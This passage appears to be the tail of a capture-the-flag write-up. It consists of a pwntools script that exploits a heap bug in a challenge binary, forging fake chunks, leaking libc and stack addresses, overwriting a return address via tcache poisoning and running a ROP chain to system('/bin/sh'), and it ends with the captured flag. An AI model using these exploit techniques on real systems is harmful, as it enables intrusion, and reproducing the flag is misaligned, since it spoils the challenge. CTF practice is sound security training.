(0x60//8) * p64(0x21)) # fake chunk footer register(0x18, p64(0xdead), 0x21) # bypass chunk consolidation # trigger main_arena+96 muncul di unsorted_bin and then leak addressnya delete(3) fake_chunk_address = heap_base + 0x2e0 li(fake_chunk_address) register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x38) + p64(0x101)) # di heap_base + 0x310 -> overwrite 0x100 jadi 0x101 delete(1) delete(5) register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x40) + p64(0x101)) view(1) rud(b'Description: ') main_arena_96 = u64(lj(io.recv(6), 8, b'\0')) li(main_arena_96) libc.address = main_arena_96 - 0x219ce0 assert libc.address & 0xfff == 0 li(libc.address, "libc_base") # leak stack address via environ environ = libc.sym.environ li(environ) delete(6) delete(7) register(0x28, p64(environ) + p64(0x48) + p64(0x56) + p64(0x101)) view(6) rud(b'Description: ') stack = u64(lj(io.recv(6), 8, b'\0')) li(stack) ret = stack - 0x130 li(ret) # finishing register(0x58, (0x30//8) * p64(0x38) + p64(mangle(ret-0x8, heap_base))) register(0x38, b'#') rop = ROP(libc) rop.call(rop.ret.address) rop.system(next(libc.search(b'bin/sh\0'))) rop.dump() register(0x38, p64(0) + rop.chain()) com() ``` `HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_ff612481dfaba69b66814850dba4b3d5}`